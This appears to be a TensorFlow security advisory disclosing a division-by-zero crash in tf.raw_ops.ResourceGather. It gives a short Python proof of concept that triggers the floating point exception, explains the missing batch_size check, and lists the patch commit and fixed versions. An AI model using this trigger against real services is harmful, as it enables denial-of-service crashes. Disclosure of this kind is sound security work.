Division by 0 in `ResourceGather`
Impact
An attacker can trigger a crash via a floating point exception in tf.raw_ops.ResourceGather:
```python
import tensorflow as tf
tensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32)
v = tf.Variable(tensor)
tf.raw_ops.ResourceGather(
resource=v.handle,
indices=[0],
dtype=tf.uint32,
batch_dims=1,
validate_indices=False)
`
The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L725-L731) computes the value of a value, batch_size, and then divides by it without checking that this value is not 0.
Patches
We have patched the issue in GitHub commit [ac117ee8a8ea57b73d34665cdf00ef3303bc0b11](https://github.com/tensorflow/tensorflow/commit/ac117ee8a8ea57b73d34665cdf00ef3303bc0b11).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
